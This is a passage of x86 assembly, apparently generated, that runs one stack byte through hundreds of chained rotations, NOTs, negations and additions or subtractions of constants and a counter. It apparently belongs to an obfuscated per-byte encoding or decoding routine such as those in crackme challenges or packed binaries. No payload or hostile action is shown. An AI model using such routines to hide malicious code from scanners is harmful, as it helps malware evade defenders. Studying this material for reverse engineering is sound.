movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x5f
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x45
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 5
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x85
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x31
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xa4
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x3f
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x2b
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xc3
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x8c
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xb0
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xda
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xc7
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xed
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x6a
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x81
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xe2
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xb7
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 5
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x33
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xb4
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x35
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xb6
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x91
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x8a
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xd
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 2
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xc3
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x4f
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x39
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x8b
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xe5
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x1c
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x60
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x12
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xd9
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x50
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xa3
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x2a
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xb1
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x6b
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 6
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xb3
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x92
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x8e
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xd8
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x44
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xd1
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xab
